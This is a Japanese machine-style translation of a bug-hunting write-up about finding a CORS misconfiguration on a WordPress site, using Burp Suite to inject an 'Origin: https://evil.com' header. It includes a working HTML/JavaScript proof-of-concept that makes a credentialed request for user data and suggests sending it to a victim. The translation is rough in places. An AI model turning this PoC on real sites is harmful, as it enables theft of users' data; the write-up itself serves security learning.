How I found CORS Vulnerability while Hunting Web-Site から学ぶ

ソース:

medium.com

脆弱性:CORS

 

訳:

はじめに : バグハンティングに関する私の新しい記事へようこそ。 ここでは、Web アプリケーションの探索中に CORS 脆弱性を見つける方法について説明します。 ここでは、ドメインexample.com と仮定し。

 

ハックしてみましょう:

そこで、まずこのWebサイト example.com にアクセスし、path: /wp-json/wp/v2/users に移動して、すべてのユーザー情報を取得します。 でリクエストをインターセプト 次に、 BurpSuite Repeater に送信しました。

 

JSON形式での応答 

 

CORSを試します、外部サイトにアクセスできるかどうか。
ここで Origin が指定しているものを見つけたからです。

 

そこで、リクエストに Origin ヘッダーを追加し、ランダムな Web サイトを設定しま。

 

Tip : Origin: https://evil.com

 

ステータス コードが反映されます 持つ200 そして、リクエストを送信すると、ヘッダー Access-Control-Allow-Origin: https:///evil.com および Access-Control-Allow-Credentials: True
これは、その外部サイトを受け入れることを意味します。
ブロッキングなしのオリジンであり、 SOP に違反します。 

 

 

また、その Web ページのほぼすべてで使用できるメソッドも取得。
そして内容も同じで。

 

 

ここでPOCを示します。

 

!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200){
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://example.com/wp-json/wp/v2/users", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>

</body>
</html>

 


脆弱なサイトを指定してブラウザで実行できます。
ここでは、脆弱性を引き起こすために被害者に送信して。

 

インパクト :

攻撃者は CORS の脆弱性を利用して機密データをアプリケーションから盗む可能性があります。
API キー、SSH キー、個人を特定できる情報 ( PII )、ユーザーの資格情報などの。

 

ほなほな。